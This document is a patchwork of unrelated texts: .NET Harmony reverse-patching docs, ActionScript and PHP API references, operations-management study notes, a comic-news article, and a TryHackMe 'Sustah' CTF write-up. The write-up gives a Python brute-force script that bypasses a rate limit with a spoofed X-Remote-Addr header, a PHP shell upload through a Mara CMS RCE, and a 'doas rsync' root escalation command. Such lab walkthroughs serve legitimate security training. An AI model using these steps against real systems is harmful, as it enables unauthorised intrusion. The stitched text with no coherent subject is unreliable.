A reverse patch is a stub method in your own code that "becomes" the original or part of the original method so you can use that yourself. Typical use cases are:
- easily call private methods
- no reflection, no delegate, native performance
- you can cherry-pick part of the original method by using a transpiler
- can give you the unmodified original
- will freeze the implementation to the time you reverse patch
Reverse patching does not replace delegates. If you want to use a foreign method and want it to be patched by later patches, you would simply create a delegate or call it via reflections. That way you always get the latest version. Reverse patches give you a more private version of a foreign original method.
Defining a reverse patch
Creating a reverse patch is easy. You add the [HarmonyReversePatch]
attribute to a patch method. As you can see in the example below, you still need to point out the original method in futher annotations.
The method signature must match the original. This includes static/non static but in the example, we use the fact that an instance method gets the instance in an extra argument at position 0.
While it is tempting to define a stub as an instance method, one has to be very careful with that. The IL code that is copied from the original expects this
to be pointing to the original class type. This obviously won't work if your instance stub is in a class that is not the original.
private class OriginalCode
{
private void Test(int counter, string name)
{
// ...
}
}
[HarmonyPatch]
public class Patch
{
[HarmonyReversePatch]
[HarmonyPatch(typeof(OriginalCode), "Test")]
public static void MyTest(object instance, int counter, string name)
{
// its a stub so it has no initial content
throw new NotImplementedException("It's a stub");
}
}
class Main
{
void Test()
{
// here we call OriginalCode.Test()
Patch.MyTest(originalInstance, 100, "hello");
}
}
Types of reverse patches
The HarmonyReversePatch attribute comes in two alternatives:
[HarmonyReversePatch(HarmonyReversePatchType.Original)]
[HarmonyReversePatch(HarmonyReversePatchType.Snapshot)]
The default is Original
so you can simply write [HarmonyReversePatch]
.
Original gives you the unmodified original method as defined in the dll. No patches or transpilers have touched it.
Snapshot gives you the version that has all existing transpilers applied to it. Currently patches (prefixes, postfixes or finalizers) are not applied. Since you get a snapshot, any future transpilers are only applied to the original and not to your stub.
Changing the content of the original
The real power of reverse patches comes to play when you use a reverse patch transpiler. It will allow you to change the original IL that is copied onto your stub method. As a result, you can extract parts of an foreign original method to a specific stub that you can easily call.
Example
Lets say the original method is long and has some part where a checksum is calculated. Instead of copying that source code from a disassembler into a method of your own, you could reverse patch the method that contains it into a method you call Checksum(...)
.
Doing this requires knowledge of how CIL works and how you extract part of IL so its stack usage (the elements put onto it and the elements left on it). This will define the signature of your stub. So if your checksum part takes a string from the IL stack and leaves an int on it after being run, your signature would be static int Checksum(string txt)
.
To define a reverse patch transpiler, you simply put a transpiler into your stub:
private class OriginalClass
{
private string SpecialCalculation(string original, int n)
{
var parts = original.Split('-').Reverse().ToArray();
var str = string.Join("", parts) + n;
return str + "Prolog";
}
}
[HarmonyPatch]
public class Patch
{
// When reverse patched, StringOperation will contain all the
// code from the original including the Join() but not the +n
//
// Basically
// var parts = original.Split('-').Reverse().ToArray();
// return string.Join("", parts)
//
[HarmonyReversePatch]
[HarmonyPatch(typeof(OriginalClass), "SpecialCalculation")]
public static string StringOperation(string original)
{
// This inner transpiler will be applied to the original and
// the result will replace this method
//
// That will allow this method to have a different signature
// than the original and it must match the transpiled result
//
IEnumerable<CodeInstruction> Transpiler(IEnumerable<CodeInstruction> instructions)
{
var list = Transpilers.Manipulator(instructions,
item => item.opcode == OpCodes.Ldarg_1,
item => item.opcode = OpCodes.Ldarg_0
).ToList();
var mJoin = SymbolExtensions.GetMethodInfo(() => string.Join(null, null));
var idx = list.FindIndex(item => item.opcode == OpCodes.Call && item.operand as MethodInfo == mJoin);
list.RemoveRange(idx + 1, list.Count - (idx + 1));
return list.AsEnumerable();
}
// make compiler happy
_ = Transpiler(null);
return original;
}
}


SiteMapGenerator
public class SiteMapGenerator
| Field Summary | |
|---|---|
| private mixed | Determines the maximum number of subitems that will be returned. |
| private mixed | The header of the section. |
| private mixed | If false only the children of the parent will be shown. |
| private mixed | Shows only the SiteElement with this id and its subitems. |
| Constructor Summary | |
|---|---|
Constructor. |
| Method Summary | |
|---|---|
| private string | _getSiteMapAsXml(array siteMap) Returns the given 'SiteMap' as xml. |
| string | generate() Generates the sections that will be placed as content. |
| void | setProperty(string key, string value) Used to pass parameters to the Generator. |
private mixed $depth = -1
Determines the maximum number of subitems that will be returned. Set to '-1' for full depth, to '0' only for parent items. */
private mixed $header = ""
The header of the section. */
private mixed $includeParent = true
If false only the children of the parent will be shown. This can only be used if $pageId is not 'null'. */
private mixed $pageId = null
Shows only the SiteElement with this id and its subitems. Set to 'null' if all SiteElements should be shown. */
public SiteMapGenerator()
Constructor. /
private string _getSiteMapAsXml(array siteMap)
Returns the given 'SiteMap' as xml.
public string generate()
Generates the sections that will be placed as content.
public void setProperty(string key, string value)
Used to pass parameters to the Generator.
Generates a sitemap of the website. /


exam2-ops-online.Rmd
library(operationsMgmt)
library(tidyverse)
theme_set(theme_light())
Design capacity: what the product/ process designed to preform at in ideal conditions.
Effective capacity: what is the real world operating conditions where the process/design/product is profitable.
Cost world: more traditional cost accounting based equations
efficiency = actual output / effective capacity (normal operating conditions)
Utilization: percent of machine being used output / (max designed output)
utilization = actual output / design capacity
Build JIT to meet demand with some protective or excess capacity.
Stock what you think you will sell.
Build inventory counter cyclically to demand or match inputs with demand
Mapping out how resources flow through the design process
Dr. Eli Goldratt
Big impact on production planning and wrote a book called The Goal (novel).
All stations perform their given work in the exact same amount of time.
All workers are dependent on one another
Output gap will increase the total work in process
The time for each operation is not the same - The line can only move as fast as the slowest operation - The design takes the sum of all operations - Buffer will be less as the time in operation takes longer
[6] -> [4]
[4] -> [6]
Dealing with bottle necks:
Drum: bottle neck - constrain - Hereby
Independence: the operation is not related or dependent on another operation
TOC Approach to scheduling
plant WIP = sum(qtyinbuffers)
What is measured output is what is delivered at the last workstation at the end of the measurement period.
Input:
[6] [4] [7] [10] [8]
Product cost = labor + resources + over head
We will only real save time by reducing the bottle neck in the real world.
[7] [6] [7] [9] [8]
Traditional:
Product cost = Raw material + Direct labor + factory overhead
New Philosophies: (Theory of contains, Just in Time, Total Quality Management)
Product cost = raw material (variable costs)
Cost per unit is the variable cost.
If we consider labor to be fixed, the cost of labor is fixed and what it would be calculated at if we operate at 100% capacity
If there is any kind of decline - it reduces output or revenue but will not effect costs. The productivity drops but the associated costs do not.
1,200 * .98 -> two percent decline
Routing is the sequence and the time it takes to produce a product.
Divided by the number of hours you are running your factory on.
Total number of hours / number of hours (period) == Number of machines
Number of Setups = Quantity need for each process / batch size
(ROUND UP)
Calculate the number of setups Calculate the time in machine (batch) Total time for machine
Total Time for machine per unit * number of products = Total time
total time / time running machine per month == Number of machine needed
Setup time is not mentioned then there is no setup time.
(percent of time) load on machine / available capacity number of units * time required / capacity (in hours) == load
Required machine = load / available capacity
3,000 units * .17 hours / 160 hours capacity = 3.2
>> Need 4 machine
Existing facility and increase the capacity by expanding.
Determine the criteria Critical factors Alternatives
Industrial belt: great lakes region
Relevance Lost: The rise and fall of management accounting
History of cost accounting. Traditional labor base accounting is not as relevant as it was in the past.
Activity based costing (ABC) - most labor has been automated by machines.
Raw material, Direct Labor, Overhead
Anti trust bill that limited the power of labor unions.
Section 14B:
Supporters:
Opponents:
Right-to-work laws prohibit union security agreements, or agreements between employers and labor unions, that govern the extent to which an established union can require employees’ membership, payment of union dues, or fees as a condition of employment, either before or after hiring.
Facilities/ Operations in more than one country
Types of operations:
Tariffs and quotas (protectionism)
Both tarries and quotas will in general raise prices and result in fewer options for consumers.
To meet the expectations of markets.
Free trade - NAFTA
Comparative advantage coffee vs. wheat and grain (specialization)
Other issues:
Segregating industry from residential: gives a community an advantage in attracting new business.
Factory and work force are already in place.
Location - Total fixed costs - Variable cost per unit
BEP = Fixed cost of operations / Variable Costs
If we plan to exceed the expected units, we should go with the lower variable cost option. The greater the variable cost will be more expensive if the expected units is greater.
Solve for the indifference point and if the expected units is greater what is planned, go with the lower variable cost option.
Rows && Cols are equal == Balance problem
What is the shipping schedule that we minimize the shipping costs?
An unbalanced problem means that there is no enough capacity to meet demand.
Demand > Supply - add a dummy row that is equal to the imbalance.
Demand < Supply - add a dummy column to represent another customer
Supply: rows (locations shipping points) Demand: columns (customers)
Product Cost = Raw material + labor + OH
Does not work in today’s world.
Dr. Kaplan - ABC - Activity based costing school
Dr. Goldratt - Theory of Constraints
Throughput = Total Revenue minus total raw material
Operating expense (fixed cost) = everything we spend money on except raw material
Process layout (Most organizations) - people and machines categorized into departments.
Worker skill level is moderate to high - more skills required
Lowest cost per unit
Large complex and often unique products: homes, airports, bridges, etc.
[5][5][5][5][5]
Even on a balanced line you are still going to fall behind
Cycle Time = time interval between units coming off the line
Longest task time = minimum possible cycle time (longest running task)
Sum of task times = maximum cycle time
Daily capacity = operating time / cycle time
Don’t build if you’re not going to sell it
Operating time = 480 minutes
Cycle time = 1 minute (longest task)
Daily capacity = 480 / 1 = 480 units
N = Desired Output * Sum(task time) / Operating time
ROUND UP! Can’t have 1.2 work stations
Cycle time = Operating Time / Desired Output
Minimum Work Stations = Desired Output * Sum of task Time / Operating Time
CHOOSE THE LONGEST TASK TIME FIRST! Rule in industry - Tie Breaker - Choose the task that requires the most time
(Dependent work stations)
Keep in mind what the cumulative capacity/ time is for a particular cycle time. Each work station has a time component that must not be exceeded.


// file.h
#if !BOOST_PP_IS_ITERATING #ifndef FILE_H_ #define FILE_H_ #include <boost/preprocessor/iteration/iterate.hpp>
#define BOOST_PP_ITERATION_PARAMS_1 (3, (1, 10, "file.h"))
#include BOOST_PP_ITERATE()
#endif
#elif BOOST_PP_ITERATION_DEPTH() == 1
start -> BOOST_PP_ITERATION_START()
iteration -> BOOST_PP_ITERATION()
finish -> BOOST_PP_ITERATION_FINISH()
#endif
Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at www.boost.org/LICENSE_1_0.txt)


{% include "menuserve/header.html" %} {% load staticfiles %}
About
As part of the 17637 Web Application development homework - a MenuServer website is in progress.


In this example we just load typescript.js as it is, and execute the following snippet to transpile a single file taken from TypeScript Compiler API docs
log = function (s) { document.getElementById('output').innerText += s + '\n' } var content = "import {f} from \"foo\"\n" + "export var x = f()"; log('\n=========Input code=========\n') log(content) var res1 = ts.transpileModule(content, { compilerOptions: { module: ts.ModuleKind.System }, moduleName: "myModule2" }); log('\n=========Transpile output 1=========\n') log(res1.outputText); log('\n=========Transpile output 2=========\n') var res2 = ts.transpile(content, { module: ts.ModuleKind.AMD }, /*fileName*/ undefined, /*diagnostics*/ undefined, /*moduleName*/ "myModule1"); log(res2);
As you can see we don't need to do anything special to transpile code. But for other APIs, like working with SourceFiles, AST Nodes, TypeChecker, LanguageService, Transformations, etc ewe do need to implent a CompilerHost, LanguageServiceHost, etc that supports the browser. This is what this library is all about.


A group is a collection of users, used for security purposes. A user account can be in many different groups, and will receive email messages sent to the group address.


You can choose among 4 commands.
First command - pick a name of a movie and fields and you get the information about the given movie.
Second command - choose order type, genres and actors (last two are arbitrary) and you get all the movies with given parameters.
Third command - enter TV series name and season and a nice table with the given tv series pops up.
Last command - if you want to get an image of the movie, just enter its name and you get it.
~


Base:
method
ReplicateInstance
System.Management.Automation.PSMemberInfo.ReplicateInstance(System.Object)
3 references to ReplicateInstance
System.Management.Automation (3)
engine\MshObject.cs (3)
1863
settings.
ReplicateInstance
(ownerObject);
1941
retVal.
ReplicateInstance
(this);
1961
standardMemberSet.
ReplicateInstance
(this);


Sustah TryHackMe Writeup
Sustah TryHackMe Wirteup
First Stage : Enumeration
So as usual let’s fire up nmap.
# Nmap 7.91 scan initiated Sat Jan 30 13:48:26 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Warning: <IP_ADDRESS> giving up on port because retransmission cap hit (6).
Nmap scan report for <IP_ADDRESS>
Host is up, received syn-ack (0.16s latency).
Scanned at 2021-01-30 13:48:27 IST for 877s
Not shown: 65531 closed ports
Reason: 65531 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bd:a4:a3:ae:66:68:1d:74:e1:c0:6a:eb:2b:9b:f3:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7zuGtMGKQdFrh6Y8Dgwdo7815klLm7VzG05KNvT112MyF41Vxz+915iRz9nTSQ583i1cmjHp+q+fMq+QGiO0iwIdYN72jop6oFxqyaO2ZjBE3grWHSP2xMsTZc7qXgPu9ZxzVAfc/4mETA8B00yc6XNApJUwfJOYz/qt/pb0WHDVBQLYesg+rrr3UZDrj9L7KNFlW74mT0nzace0yqtcV//dgOMiG8CeS6TRyUG6clbSUdr+yfgPOrcUwhTCMRKv2e30T5naBZ60e1jSuXYmQfmeZtDZ4hdsBWDfOnGnw89O9Ak+VhULGYq/ZxTh31dnWBULftw/l6saLaUJEaVeb
| 256 9a:db:73:79:0c:72:be:05:1a:86:73:dc:ac:6d:7a:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBENNM4XJDFEnfvomDQgg0n7ZF+bHK+/x0EYcjrLP2BGgytEp7yg7A36KajE2QYkQKtHGPamSRLzNWmJpwzaV65w=
| 256 64:8d:5c:79:de:e1:f7:3f:08:7c:eb:b7:b3:24:64:1f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOd1NxUo0xJ3krpRI1Xm8KMCFXziZngofs/wjOkofKKV
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Susta
1472/tcp filtered csdm no-response
8085/tcp open http syn-ack Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: HEAD POST GET OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Spinner
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 30 14:03:04 2021 -- 1 IP address (1 host up) scanned in 878.90 seconds
So the ports that which are open :
- 22
- 80
- 1472
- 8085
Let’s visit port 80.
I ran gobuster and nikto got nothing interesting.
Hence I visited 8085 .
So we have to guess the number in order to get the path.
I used burp to intercept the request.
And I tried bruteforcing the numbers but after sometime there was a limit which was stopping from bruteforcing.
Hence I searced “bypassing rate limits” and found this blog in HackTricks and tried this header X-Remote-Addr: <IP_ADDRESS> and it worked.
So I sent it to intruder and set the payload from 10000 to 99999 step 1.
After sometime I understood that it is taking long to complete , hence I created a python script to do this fast.
import requests
import sys
import re
url = "http://<IP_ADDRESS>:8085/"
sess = requests.session()
for number in range(10000,99999):
header_data= {"X-Remote-Addr" : "<IP_ADDRESS>"}
data = {"number" : number}
output = sess.post(url, headers = header_data, data = data)
if "rate limit exceeded" in output.text:
print("limit exceeded")
elif "Oh no! How unlucky. Spin the wheel and try again." in output.text:
pass
else:
print(f"[+]The number is {number}")
sys.exit(0)
Hence I ran the script and got the number.
After we enter the number we got it gives us the directory.
Note : the cms is in port 80
Second Stage : Initial access as www-data
Hence we visit it
So the name of cms is MARA
Hence I search for exploits using searchsploit and found this.
So there is an authenticated RCE , but we don’t know the password. I tried the password given in exploit and it worked.
As given in the exploit we go to http://target/codebase/dir.php?type=filenew
And upload our shell.php.
We get this message.
Hence we start a listener.

Fourth Stage : www-data to kiran
I ran linpeas and got some hashes in /var/www/html/sitecfg
But they were a dead end, hence I saw the hint . So I went for /var/backups directory.
I found the password in .bak.passwd
Now we get shell as kiran
Fifth Stage : kiran to root
As soon as I ran linpeas this got my eyes.
So I searched for rsync in GTFOBINS . In order to get root .
doas rsync -e ‘sh -c “sh 0<&2 1>&2”’ <IP_ADDRESS>:/dev/null
And got root.


Spider-Man & Black Cat's Wedding Ends With Them... Joining Hydra?!
by Tim AdamsWARNING: The following article contains spoilers for Black Cat Annual #1 by Jed MacKay, Joey Vazquez, Juan Gedeon, Natacha Bustos, Brian Reber and Ferran Delgado, on sale now.
Though it was a part of a heist, Spider-Man and Black Cat officially tied the knot in Black Cat Annual #1. Of course, you're allowed to question the logistics and ethics of a priest hired by the Maggia crime families being certified to hand out marriage licenses, but Peter Parker and Felicia Hardy technically completed the marriage ceremony.
Near the end of the issue, we learn that Spider-Man and Black Cat went undercover to help a couple in love escape their families after they were selected to marry and fight to the death in the name of martyrdom and family honor. While Spider-Man and Black Cat were sneaking through the Maggia catacombs under the St. Nicholas Church, two members of Black Cat's team were fulfilling their parts of the plan to steal millions of dollars out from under the crime family's nose.
Click the button below to start this article in quick view.
With S.H.I.E.L.D. no more and Hydra going underground, the Maggia has found it useful to stash all of their their junk there in a world without S.H.I.E.L.D. and where Hydra has been forced underground. But no one could have expected the "newlyweds" to reveal themselves to the crowd while also wearing Hydra masks and screaming out their vilified catchphrase.
Hail Hydra
Black Cat's plan involves her hired muscle stealing an automobile from an old S.H.I.E.L.D. decommissioned yard. Once the techie of the crew breaks the encryption on a Maggia member's bank account to illegally transfer funds, the muscle appears at the drop-off point with a Hydra mask on his head.
This leads us to Spider-Man and Black Cat emerging from the catacombs -- still wearing their wedding attire -- as the assembled wedding audience waits to see if the bride or groom was victorious in their fight to the death. However, what the church isn't expecting to see is the bride and groom hand-in-hand yelling "Hail Hydra" while raising smoke bombs in the air.
As you can imagine, the audience is left stunned at the shocking turn of events. Not only has their wedding been crashed, but two people in Hydra masks are now attacking them with smoke bombs. It's possible the families of the bride and groom assume it's their son and daughter joining the terrorist group, but at this point in time that's really irrelevant. Mob leader Silvio has his money stolen out from under him and they've been publicly embarrassed. It's hard to think of a more humiliating evening with your friends and family.
On the other hand, Spider-Man and Black Cat risk their lives in order to help two kids in love escape their unfortunate circumstances. The bride and groom recall how both their parents were former martyrs, but once the prospect of killing the person they love came into play, they decide to chart their own futures. Luckily, Black Cat is inspired by their story and recruits Spider-Man to help, knowing his sense of responsibility will prevent him from saying no.
All it takes to pull off the heist is a suit, wedding gown, some old Hydra gear and a lot of luck, which Black Cat is more than familiar with.
https://schema.orgBreadcrumbListListItem1Homehttps://www.cbr.com/ListItem2Comicshttps://www.cbr.com/category/comics/ListItem3Comic Newshttps://www.cbr.com/category/comics/news/ListItem4Spider-Man & Black Cat's Wedding Ends With Them... Joining Hydra?!https://www.cbr.com/spider-man-black-cat-wedding-hydra/


| Package | org.igniterealtime.xiff.core |
| Class | public class XMPPConnection |
| Inheritance | XMPPConnection flash.events.EventDispatcher |
| Subclasses | XMPPBOSHConnection, XMPPTLSConnection |
| Property | Defined by | ||
|---|---|---|---|
| compress : Boolean
Shall the zlib compression be allowed if the server supports it.
| XMPPConnection | ||
| domain : String
The XMPP domain to use with the server.
| XMPPConnection | ||
| ignoreWhiteSpace : Boolean
Determines whether whitespace will be ignored on incoming XML data.
| XMPPConnection | ||
| incomingBytes : uint [read-only]
Get the count of the received bytes.
| XMPPConnection | ||
| jid : UnescapedJID
[read-only]
Gets the fully qualified unescaped JID of the user.
| XMPPConnection | ||
| openConnections : Array [static][read-only]
| XMPPConnection | ||
| outgoingBytes : uint [read-only]
Get the count of current bytes sent by this connection
| XMPPConnection | ||
| password : String
The password to use when logging in.
| XMPPConnection | ||
| port : uint
The port to use when connecting.
| XMPPConnection | ||
| queuePresences : Boolean
Should the connection queue presence events for a small interval so that it can send multiple in a batch?
| XMPPConnection | ||
| resource : String
The resource to use when logging in.
| XMPPConnection | ||
| server : String
The XMPP server to use for connection.
| XMPPConnection | ||
| useAnonymousLogin : Boolean
Whether to use anonymous login or not.
| XMPPConnection | ||
| username : String
The username to use for connection.
| XMPPConnection |
| Property | Defined by | ||
|---|---|---|---|
| active : Boolean | XMPPConnection | ||
| compressionNegotiated : Boolean = false
True if both sides of the connected parties have accepted the zlib compression.
| XMPPConnection | ||
| _domain : String
Domain of the user.
| XMPPConnection | ||
| _incompleteRawXML : String = ""
Save the previously received data if it was incomplete.
| XMPPConnection | ||
| _openConnections : Array [static]
Are there more than one connection at a time?
| XMPPConnection | ||
| _port : uint = 5222 | XMPPConnection | ||
| _resource : String = "xiff" | XMPPConnection | ||
| saslMechanisms : Object [static]
The types of SASL mechanisms available.
| XMPPConnection | ||
| _server : String
Server to connect, could be different of the login domain.
| XMPPConnection | ||
| socket : Socket
Binary socket used to connect to the XMPP server.
| XMPPConnection | ||
| _streamType : uint = 0
One of the STREAM_TYPE_..
| XMPPConnection |
| Method | Defined by | ||
|---|---|---|---|
|
| XMPPConnection | ||
|
changePassword(newPassword:String):void
Changes the user's account password on the server.
| XMPPConnection | ||
|
connect(streamType:uint = 0):Boolean
Connects to the server.
| XMPPConnection | ||
|
disableSASLMechanism(name:String):void
[static]
| XMPPConnection | ||
|
disconnect():void
Disconnects from the server if currently connected.
| XMPPConnection | ||
|
getRegistrationFields():void
Issues a request for the information that must be submitted for registration with the server.
| XMPPConnection | ||
|
isActive():Boolean
Determines whether the connection with the server is currently active.
| XMPPConnection | ||
|
isLoggedIn():Boolean
Determines whether the user is connected and logged into the server.
| XMPPConnection | ||
|
registerSASLMechanism(name:String, authClass:Class):void
[static]
| XMPPConnection | ||
|
send(o:XMPPStanza):void
Sends data to the server.
| XMPPConnection | ||
|
sendKeepAlive():void
Sends ping to server in order to keep the connection alive.
| XMPPConnection | ||
|
sendRegistrationFields(fieldMap:Object, key:String):void
Registers a new account with the server, sending the registration data as specified in the fieldMap
| XMPPConnection |
| Method | Defined by | ||
|---|---|---|---|
|
changePassword_result(resultIQ:IQ):void
| XMPPConnection | ||
|
chooseStreamTags(type:uint):void
Choose the stream start and ending tags based on the given type.
| XMPPConnection | ||
|
configureAuthMechanisms(mechanisms:XMLNode):void
Use the authentication which is first in the list (saslMechanisms) if possible.
| XMPPConnection | ||
|
configureStreamCompression():void
Ask the server to enable Zlib compression of the stream.
| XMPPConnection | ||
|
createSocket():void
| XMPPConnection | ||
|
flushPresenceQueue(event:TimerEvent):void
| XMPPConnection | ||
|
getRegistrationFields_result(resultIQ:IQ):void
| XMPPConnection | ||
|
handleBindError(packet:IQ):void
Error handler callback
| XMPPConnection | ||
|
handleNodeType(node:XMLNode):void
Calls a appropriate parser base on the nodeName.
| XMPPConnection | ||
|
handleStreamFeatures(node:XMLNode):void
| XMPPConnection | ||
|
handleStreamTLS(node:XMLNode):void
| XMPPConnection | ||
|
parseDataReceived(bytedata:ByteArray):void
Parses the data which the socket just received.
| XMPPConnection | ||
|
sendXML(someData:*):void
Data is untyped because it could be a string or XML.
| XMPPConnection | ||
|
socketClosed(event:Event):void
| XMPPConnection | ||
|
socketConnected(event:Event):void
| XMPPConnection | ||
|
socketDataReceived(event:ProgressEvent):void
| XMPPConnection |
| Event | Summary | Defined by | ||
|---|---|---|---|---|
| Dispatched when a password change is successful. | XMPPConnection | |||
| Dispatched when the connection is successfully made to the server. | XMPPConnection | |||
| Dispatched when there is a disconnection from the server. | XMPPConnection | |||
| Dispatched when there is some type of XMPP error. | XMPPConnection | |||
| Dispatched whenever there is incoming XML data. | XMPPConnection | |||
| Dispatched on successful authentication (login) with the server. | XMPPConnection | |||
| Dispatched on incoming messages. | XMPPConnection | |||
| Dispatched whenever data is sent to the server. | XMPPConnection | |||
| Dispatched on incoming presence data. | XMPPConnection | |||
| Dispatched on when new user account registration is successful. | XMPPConnection |
| Constant | Defined by | ||
|---|---|---|---|
| STREAM_TYPE_FLASH : uint = 2 [static]
Stream type lets user set opening/closing tag.
| XMPPConnection | ||
| STREAM_TYPE_FLASH_TERMINATED : uint = 3 [static]
Stream type lets user set opening/closing tag.
| XMPPConnection | ||
| STREAM_TYPE_STANDARD : uint = 0 [static]
Stream type lets user set opening/closing tag.
| XMPPConnection | ||
| STREAM_TYPE_STANDARD_TERMINATED : uint = 1 [static]
Stream type lets user set opening/closing tag.
| XMPPConnection |
| active | property |
active:Boolean
[read-write]Implementation
protected function get active():Boolean
protected function set active(value:Boolean):void
| compress | property |
compress:Boolean
[read-write]Shall the zlib compression be allowed if the server supports it.
The default value is false
.
public function get compress():Boolean
public function set compress(value:Boolean):void
See also
| compressionNegotiated | property |
protected var compressionNegotiated:Boolean = false
True if both sides of the connected parties have accepted the zlib compression.
| _domain | property |
protected var _domain:String
Domain of the user. Might differ from the one used in the connection.
| domain | property |
domain:String
[read-write]The XMPP domain to use with the server.
Implementation public function get domain():String
public function set domain(value:String):void
| ignoreWhiteSpace | property |
ignoreWhiteSpace:Boolean
[read-write]
Determines whether whitespace will be ignored on incoming XML data.
Behaves the same as XML.ignoreWhitespace
public function get ignoreWhiteSpace():Boolean
public function set ignoreWhiteSpace(value:Boolean):void
| incomingBytes | property |
incomingBytes:uint
[read-only]Get the count of the received bytes.
Implementation public function get incomingBytes():uint
| _incompleteRawXML | property |
protected var _incompleteRawXML:String = ""
Save the previously received data if it was incomplete.
| jid | property |
jid:UnescapedJID
[read-only]
Gets the fully qualified unescaped JID of the user.
A fully-qualified JID includes the resource. A bare JID does not.
To get the bare JID, use the bareJID
property of the UnescapedJID.
public function get jid():UnescapedJID
See also
| _openConnections | property |
protected static var _openConnections:Array
Are there more than one connection at a time?
| openConnections | property |
openConnections:Array
[read-only]Implementation
public static function get openConnections():Array
| outgoingBytes | property |
outgoingBytes:uint
[read-only]Get the count of current bytes sent by this connection
Implementation public function get outgoingBytes():uint
| password | property |
password:String
[read-write]The password to use when logging in.
Implementation public function get password():String
public function set password(value:String):void
| _port | property |
protected var _port:uint = 5222
The default value is 5222
.
| port | property |
port:uint
[read-write]The port to use when connecting. The default XMPP port is 5222.
Implementation public function get port():uint
public function set port(value:uint):void
| queuePresences | property |
queuePresences:Boolean
[read-write]Should the connection queue presence events for a small interval so that it can send multiple in a batch?
The default value is true To maintain original behavior -- has to be explicitly set to false to disable.
.
public function get queuePresences():Boolean
public function set queuePresences(value:Boolean):void
| _resource | property |
protected var _resource:String = "xiff"
The default value is xiff
.
| resource | property |
resource:String
[read-write]The resource to use when logging in. A resource is required (defaults to "XIFF") and allows a user to login using the same account simultaneously (most likely from multiple machines). Typical examples of the resource include "Home" or "Office" to indicate the user's current location.
Implementation public function get resource():String
public function set resource(value:String):void
| saslMechanisms | property |
protected static var saslMechanisms:Object
The types of SASL mechanisms available.
See also
| _server | property |
protected var _server:String
Server to connect, could be different of the login domain.
| server | property |
server:String
[read-write]The XMPP server to use for connection.
Implementation public function get server():String
public function set server(value:String):void
| socket | property |
protected var socket:Socket
Binary socket used to connect to the XMPP server.
| _streamType | property |
protected var _streamType:uint = 0
One of the STREAM_TYPE_.. constants.
The default value is STREAM_TYPE_STANDARD
.
| useAnonymousLogin | property |
useAnonymousLogin:Boolean
[read-write]Whether to use anonymous login or not.
Implementation public function get useAnonymousLogin():Boolean
public function set useAnonymousLogin(value:Boolean):void
| username | property |
username:String
[read-write]
The username to use for connection. If this property is null when connect()
is called,
the class will fetch registration field data rather than attempt to login.
public function get username():String
public function set username(value:String):void
| XMPPConnection | () | constructor |
public function XMPPConnection()
| changePassword | () | method |
public function changePassword(newPassword:String):void
Changes the user's account password on the server. If the password change is successful,
the class will broadcast a ChangePasswordSuccessEvent.PASSWORD_SUCCESS
event.
newPassword:String — The new password
|
| changePassword_result | () | method |
| chooseStreamTags | () | method |
protected function chooseStreamTags(type:uint):void
Choose the stream start and ending tags based on the given type.
Parameterstype:uint — One of the STREAM_TYPE_... constants of this class.
|
| configureAuthMechanisms | () | method |
protected function configureAuthMechanisms(mechanisms:XMLNode):void
Use the authentication which is first in the list (saslMechanisms) if possible.
Parametersmechanisms:XMLNode |
See also
| configureStreamCompression | () | method |
protected function configureStreamCompression():void
Ask the server to enable Zlib compression of the stream.
| connect | () | method |
public function connect(streamType:uint = 0):Boolean
Connects to the server. Use one of the STREAM_TYPE_.. constants. Possible options are:
streamType:uint (default = 0 ) — Any of the STREAM_TYPE_.. constants.
|
Boolean — A boolean indicating whether the server was found.
|
| createSocket | () | method |
protected function createSocket():void
See also
| disableSASLMechanism | () | method |
public static function disableSASLMechanism(name:String):void
Parameters
name:String |
| disconnect | () | method |
public function disconnect():void
Disconnects from the server if currently connected. After disconnect,
a DisconnectionEvent.DISCONNECT
event is broadcast.
See also
| flushPresenceQueue | () | method |
protected function flushPresenceQueue(event:TimerEvent):void
Parameters
event:TimerEvent |
| getRegistrationFields | () | method |
public function getRegistrationFields():void
Issues a request for the information that must be submitted for registration with the server.
When the data returns, a RegistrationFieldsEvent.REG_FIELDS
event is dispatched
containing the requested data.
| getRegistrationFields_result | () | method |
| handleBindError | () | method |
| handleNodeType | () | method |
protected function handleNodeType(node:XMLNode):void
Calls a appropriate parser base on the nodeName.
Parametersnode:XMLNode |
| handleStreamFeatures | () | method |
protected function handleStreamFeatures(node:XMLNode):void
Parameters
node:XMLNode |
See also
| handleStreamTLS | () | method |
protected function handleStreamTLS(node:XMLNode):void
Parameters
node:XMLNode — The feature containing starttls tag.
|
| isActive | () | method |
public function isActive():Boolean
Determines whether the connection with the server is currently active. (Not necessarily logged in.
For login status, use the isLoggedIn()
method.)
Boolean — A boolean indicating whether the connection is active.
|
See also
| isLoggedIn | () | method |
public function isLoggedIn():Boolean
Determines whether the user is connected and logged into the server.
ReturnsBoolean — A boolean indicating whether the user is logged in.
|
See also
| parseDataReceived | () | method |
protected function parseDataReceived(bytedata:ByteArray):void
Parses the data which the socket just received. Used to simplify the overrides from classes extending this one.
Parametersbytedata:ByteArray |
| registerSASLMechanism | () | method |
public static function registerSASLMechanism(name:String, authClass:Class):void
Parameters
name:String |
|
authClass:Class |
| send | () | method |
public function send(o:XMPPStanza):void
Sends data to the server. If the data to send cannot be serialized properly,
this method throws a SerializeException
.
o:XMPPStanza — The data to send. This must be an instance of a class that implements the ISerializable interface.
|
See also
| sendKeepAlive | () | method |
public function sendKeepAlive():void
Sends ping to server in order to keep the connection alive.
| sendRegistrationFields | () | method |
